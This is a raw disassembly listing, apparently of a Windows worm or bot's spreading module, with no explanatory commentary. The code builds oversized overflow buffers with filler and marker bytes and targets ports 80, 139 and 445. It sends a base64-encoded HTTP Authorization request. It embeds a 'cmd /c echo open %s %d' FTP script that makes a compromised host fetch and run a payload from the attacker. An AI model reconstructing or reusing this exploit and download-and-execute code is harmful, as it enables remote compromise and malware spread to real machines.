		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_40B630
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_40B210
		add	esp, 18h
		mov	ecx, esi
		call	sub_4019F4
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_4019F4
		mov	al, 1


loc_401B07:				; CODE XREF: sub_401A91+38j
		pop	edi
		pop	esi
		leave
		retn
sub_401A91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B0B	proc near		; CODE XREF: sub_401B3F+14p
					; sub_401B5C+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40199F
		mov	ecx, esi
		call	sub_4019F4
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_401B0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B3F	proc near		; CODE XREF: sub_401BC7+F0p
					; sub_401BC7+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_40B5B0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_401B0B
		pop	esi
		retn	4
sub_401B3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B5C	proc near		; CODE XREF: sub_401BA8+Bp
					; sub_401BC7+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_401B0B
		retn	8
sub_401B5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B6C	proc near		; CODE XREF: sub_401BA8+16p
					; sub_401BC7+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_401A0D
		test	al, al
		jz	short loc_401BA5
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_41990F+1)
		call	sub_40199F
		mov	ecx, esi
		call	sub_4019F4
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_401BA5:				; CODE XREF: sub_401B6C+Fj
		pop	esi
		leave
		retn
sub_401B6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401BA8	proc near		; CODE XREF: sub_401BC7+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_401B5C
		test	al, al
		jz	short loc_401BC3
		mov	ecx, esi
		call	sub_401B6C


loc_401BC3:				; CODE XREF: sub_401BA8+12j
		pop	esi
		retn	8
sub_401BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BC7	proc near		; CODE XREF: sub_4023B8+88p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40195B
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_401F0B
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_401F0B
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40195B
		lea	ecx, [ebp+var_20]
		call	sub_40195B
		lea	ecx, [ebp+var_50]
		call	sub_40195B
		lea	ecx, [ebp+var_18]
		call	sub_40195B
		lea	ecx, [ebp+var_40]
		call	sub_40195B
		lea	ecx, [ebp+var_38]
		call	sub_40195B
		lea	ecx, [ebp+var_28]
		call	sub_40195B
		push	4
		push	offset dword_4195A4
		lea	ecx, [ebp+var_30]
		call	sub_401B0B
		push	3
		push	offset dword_4195AC
		lea	ecx, [ebp+var_30]
		call	sub_401B0B
		lea	ecx, [ebp+var_30]
		call	sub_401A91
		lea	ecx, [ebp+var_30]
		call	sub_401B6C
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_401B0B
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_401B0B
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_401B0B
		lea	ecx, [ebp+var_20]
		call	sub_401A91
		push	offset loc_419938
		lea	ecx, [ebp+var_50]
		call	sub_401B3F
		lea	ecx, [ebp+var_50]
		call	sub_401A91
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_401965
		lea	ecx, [ebp+var_58]
		call	sub_401A91
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_401BA8
		lea	ecx, [ebp+var_58]
		call	sub_4019F4
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_401B3F
		push	4
		push	offset dword_4195B0
		lea	ecx, [ebp+var_18]
		call	sub_401B0B
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_401B0B
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_401B0B
		lea	ecx, [ebp+var_18]
		call	sub_401A91
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_401B5C
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_401B5C
		lea	ecx, [ebp+var_40]
		call	sub_401B6C
		lea	ecx, [ebp+var_18]
		call	sub_4019F4
		lea	ecx, [ebp+var_50]
		call	sub_4019F4
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_401B5C
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_401B5C
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_401B5C
		lea	ecx, [ebp+var_38]
		call	sub_401B6C
		lea	ecx, [ebp+var_20]
		call	sub_4019F4
		lea	ecx, [ebp+var_30]
		call	sub_4019F4
		lea	ecx, [ebp+var_40]
		call	sub_4019F4
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_401B0B
		lea	ecx, [ebp+var_28]
		call	sub_401A91
		push	2
		push	offset dword_41992C
		lea	ecx, [ebp+var_28]
		call	sub_401B0B
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_401B5C
		lea	ecx, [ebp+var_28]
		call	sub_401B6C
		lea	ecx, [ebp+var_38]
		call	sub_4019F4
		lea	ecx, [ebp+var_10]
		call	sub_40195B
		lea	ecx, [ebp+var_8]
		call	sub_40195B
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_401B5C
		lea	ecx, [ebp+var_10]
		call	sub_401A0D
		lea	ecx, [ebp+var_28]
		call	sub_4019F4
		push	offset dword_419928
		lea	ecx, [ebp+var_8]
		call	sub_401B3F
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_401B5C
		lea	ecx, [ebp+var_8]
		call	sub_401A0D
		lea	ecx, [ebp+var_10]
		call	sub_4019F4
		push	offset dword_419924
		lea	ecx, [ebp+var_10]
		call	sub_401B3F
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_401B5C
		lea	ecx, [ebp+var_10]
		call	sub_401A0D
		lea	ecx, [ebp+var_8]
		call	sub_4019F4
		push	offset dword_419918
		lea	ecx, [ebp+var_8]
		call	sub_401B3F
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_401B5C
		lea	ecx, [ebp+var_8]
		call	sub_401A0D
		lea	ecx, [ebp+var_10]
		call	sub_4019F4
		push	offset dword_419914
		lea	ecx, [ebp+var_48]
		call	sub_401B3F
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_401B5C
		lea	ecx, [ebp+var_8]
		call	sub_4019F4
		pop	esi


loc_401F0B:				; CODE XREF: sub_401BC7+1Bj
					; sub_401BC7+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	edi
		pop	ebx
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		leave
		retn
sub_401BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F1D	proc near		; CODE XREF: sub_401FE1+A2p
					; sub_401FE1+C7p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		xor	edi, edi
		push	eax
		lea	eax, [esi+1]
		inc	edi
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_4171B0	; select
		cmp	eax, edi
		jnz	short loc_401F84
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_416438	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_401F88


loc_401F84:				; CODE XREF: sub_401F1D+54j
		xor	eax, eax
		jmp	short loc_401F98
; ---------------------------------------------------------------------------


loc_401F88:				; CODE XREF: sub_401F1D+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_42B3EC	; recv


loc_401F98:				; CODE XREF: sub_401F1D+69j
		pop	edi
		pop	esi
		leave
		retn
sub_401F1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F9C	proc near		; CODE XREF: sub_401FE1+80p
					; sub_401FE1+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_42B3D0	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_42B420	; send
		cmp	eax, 4
		jz	short loc_401FC6
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_401FC6:				; CODE XREF: sub_401F9C+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42B420	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_401F9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401FE1	proc near		; CODE XREF: sub_4020C0+48p
					; sub_4023B8+179p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_40B6BF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40200A
		xor	al, al
		jmp	loc_4020BB
; ---------------------------------------------------------------------------


loc_40200A:				; CODE XREF: sub_401FE1+20j
		push	ebx
		push	0
		push	esi
		call	sub_40B630
		push	2Fh
		push	offset dword_419640
		push	esi
		call	sub_40B210
		push	8
		lea	eax, [esi+31h]
		push	offset dword_419670
		push	eax
		mov	[esi+2Fh], di
		call	sub_40B210
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_40B210
		push	6
		add	ebx, edi
		push	offset dword_422264
		push	ebx
		call	sub_40B210
		push	85h
		push	offset dword_4195B8
		push	[ebp+arg_0]
		call	sub_401F9C
		add	esp, 48h
		test	al, al
		jnz	short loc_402071


loc_40206D:				; CODE XREF: sub_401FE1+B8j
		xor	bl, bl
		jmp	short loc_4020B2
; ---------------------------------------------------------------------------


loc_402071:				; CODE XREF: sub_401FE1+8Aj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_401F1D
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_401F9C
		add	esp, 1Ch
		test	al, al
		jz	short loc_40206D
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_401F1D
		add	esp, 10h
		mov	bl, 1


loc_4020B2:				; CODE XREF: sub_401FE1+8Ej
		push	esi
		call	sub_40B771
		pop	ecx
		mov	al, bl


loc_4020BB:				; CODE XREF: sub_401FE1+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401FE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020C0	proc near		; CODE XREF: sub_4023B8+15Fp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_419680
		push	[ebp+arg_0]
		call	dword_4171AC	; send
		cmp	eax, 48h
		jnz	short loc_4020FB
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_401F1D
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4020FB
		cmp	[ebp+var_20], 82h
		jz	short loc_4020FF


loc_4020FB:				; CODE XREF: sub_4020C0+1Bj
					; sub_4020C0+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_4020FF:				; CODE XREF: sub_4020C0+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401FE1
		add	esp, 0Ch
		leave
		retn
sub_4020C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402112	proc near		; CODE XREF: sub_40215E+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_417208
		call	sub_40B8FC
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_417200
		fstp	[esp+10h+var_10]
		call	sub_40B7DA
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_40B8FC
		inc	eax
		leave
		retn
sub_402112	endp


; =============== S U B	R O U T	I N E =======================================



sub_40215E	proc near		; CODE XREF: sub_4022FD+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_416597
		call	sub_40BDC8
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp-20h], edi
		mov	al, [ebp+13h]
		push	edi
		lea	ecx, [ebp-38h]
		mov	[ebp-38h], al
		call	sub_402790
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-4], ebx
		call	sub_402112
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_4021A0
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40270A


loc_4021A0:				; CODE XREF: sub_40215E+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_4022BE
		mov	ebx, [ebp+10h]


loc_4021AF:				; CODE XREF: sub_40215E+157j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_4021BA
		push	3


loc_4021B7:				; CODE XREF: sub_40215E+64j
		pop	ebx
		jmp	short loc_4021CD
; ---------------------------------------------------------------------------


loc_4021BA:				; CODE XREF: sub_40215E+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_4021C4
		push	2
		jmp	short loc_4021B7
; ---------------------------------------------------------------------------


loc_4021C4:				; CODE XREF: sub_40215E+60j
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_4021CD
		xor	ebx, ebx
		inc	ebx


loc_4021CD:				; CODE XREF: sub_40215E+5Aj
					; sub_40215E+6Aj
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_417210
		fstp	[esp+40h+var_40]
		call	sub_40B923
		pop	ecx
		pop	ecx
		call	sub_40B8FC
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40220C
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40220C:				; CODE XREF: sub_40215E+94j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40227A
		add	[ebp-18h], eax


loc_40225E:				; CODE XREF: sub_40215E+11Aj
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_4196D0[eax]
		push	eax
		push	1
		call	sub_40258B
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40225E


loc_40227A:				; CODE XREF: sub_40215E+FBj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_402298
		push	dword ptr [ebp+14h]
		call	sub_40B5B0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_4025E5
		mov	[ebp-18h], edi


loc_402298:				; CODE XREF: sub_40215E+120j
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_4022B2
		sub	esi, [ebp-1Ch]


loc_4022A3:				; CODE XREF: sub_40215E+152j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40258B
		dec	esi
		jnz	short loc_4022A3


loc_4022B2:				; CODE XREF: sub_40215E+140j
		cmp	[ebp+10h], edi
		ja	loc_4021AF
		xor	ebx, ebx
		inc	ebx


loc_4022BE:				; CODE XREF: sub_40215E+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_402790
		push	0FFFFFFFFh
		lea	eax, [ebp-38h]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_40263D
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_402790
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40215E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4022FD	proc near		; CODE XREF: sub_4023B8+142p
		mov	eax, offset loc_4165B4
		call	sub_40BDC8
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_422270
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40215E
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_40B6BF
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_402347
		xor	bl, bl
		jmp	short loc_40238B
; ---------------------------------------------------------------------------


loc_402347:				; CODE XREF: sub_4022FD+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_417218
		cmp	ecx, ebx
		jnz	short loc_402355
		mov	ecx, eax


loc_402355:				; CODE XREF: sub_4022FD+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40235D
		mov	eax, [ebp+18h]


loc_40235D:				; CODE XREF: sub_4022FD+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_40BDE7
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_42B420	; send
		cmp	eax, esi
		jz	short loc_402382
		xor	bl, bl
		jmp	short loc_402384
; ---------------------------------------------------------------------------


loc_402382:				; CODE XREF: sub_4022FD+7Fj
		mov	bl, 1


loc_402384:				; CODE XREF: sub_4022FD+83j
		push	edi
		call	sub_40B771
		pop	ecx


loc_40238B:				; CODE XREF: sub_4022FD+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_402790
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_402790
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4022FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023B8	proc near		; CODE XREF: sub_40154B+17Cp
					; DATA XREF: .nsp0:off_41906Co

var_420		= byte ptr -420h
var_41F		= byte ptr -41Fh
var_391		= byte ptr -391h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_BB		= byte ptr  0C3h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	[ebp+var_420], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_41F]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_420]
		push	offset sub_419880
		push	eax
		call	sub_40B210
		add	esp, 0Ch
		mov	eax, offset byte_41C1A0
		push	eax
		push	eax
		movzx	eax, word ptr dword_42B2B4
		push	eax
		push	[ebp+arg_0]
		call	sub_405752
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp+var_391]
		push	400h
		push	eax
		call	sub_40BDE7
		add	eax, 90h
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		push	164h
		lea	eax, [ebp+var_8]
		push	offset sub_419718
		push	eax
		call	sub_401BC7
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp+var_4], esi
		jnz	short loc_402456
		xor	eax, eax
		jmp	loc_40257E
; ---------------------------------------------------------------------------


loc_402456:				; CODE XREF: sub_4023B8+95j
		mov	[ebp+var_C], esi


loc_402459:				; CODE XREF: sub_4023B8+1A1j
		test	esi, esi
		jnz	loc_40255F
		push	6
		push	1
		push	2
		call	dword_4171A8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_402547
		xor	eax, eax
		lea	edi, [ebp+var_1A]
		stosd
		push	[ebp+arg_A0]
		stosd
		stosd
		stosw
		mov	[ebp+var_1C], 2
		call	dword_42B3D4	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_42B410	; inet_addr
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	ebx
		call	dword_42B380	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40253C
		cmp	[ebp+arg_A0], 50h
		jnz	short loc_402504
		mov	al, [ebp+arg_BB]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp+var_20], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_402790
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_40B5B0
		pop	ecx
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, esi
		call	sub_4027C8
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_4022FD
		add	esp, 1Ch
		jmp	short loc_402539
; ---------------------------------------------------------------------------


loc_402504:				; CODE XREF: sub_4023B8+10Aj
		cmp	[ebp+arg_A0], 8Bh
		jnz	short loc_40251E
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_4020C0
		jmp	short loc_402536
; ---------------------------------------------------------------------------


loc_40251E:				; CODE XREF: sub_4023B8+156j
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_40253C
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_401FE1


loc_402536:				; CODE XREF: sub_4023B8+164j
		add	esp, 0Ch


loc_402539:				; CODE XREF: sub_4023B8+14Aj
		movzx	esi, al


loc_40253C:				; CODE XREF: sub_4023B8+FDj
					; sub_4023B8+170j
		push	ebx
		call	dword_42B468	; closesocket
		test	esi, esi
		jnz	short loc_402552


loc_402547:				; CODE XREF: sub_4023B8+BAj
		push	3E8h
		call	dword_417040	; Sleep


loc_402552:				; CODE XREF: sub_4023B8+18Dj
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 2
		jl	loc_402459


loc_40255F:				; CODE XREF: sub_4023B8+A3j
		lea	ecx, [ebp+var_8]
		call	sub_4019F4
		test	esi, esi
		jz	short loc_40257C
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		lea	eax, dword_419070[eax]
		inc	dword ptr [eax]


loc_40257C:				; CODE XREF: sub_4023B8+1B1j
		mov	eax, esi


loc_40257E:				; CODE XREF: sub_4023B8+99j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4023B8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_416578


loc_402583:				; CODE XREF: sub_416578+3j
					; .nsp0:00416591j ...
		push	1
		call	sub_402790
		retn
; END OF FUNCTION CHUNK	FOR sub_416578

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40258B	proc near		; CODE XREF: sub_40215E+111p
					; sub_40215E+14Cp

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_0]
		ja	short loc_4025A2
		call	sub_4160E0


loc_4025A2:				; CODE XREF: sub_40258B+10j
		cmp	[ebp+arg_0], 0
		jbe	short loc_4025DD
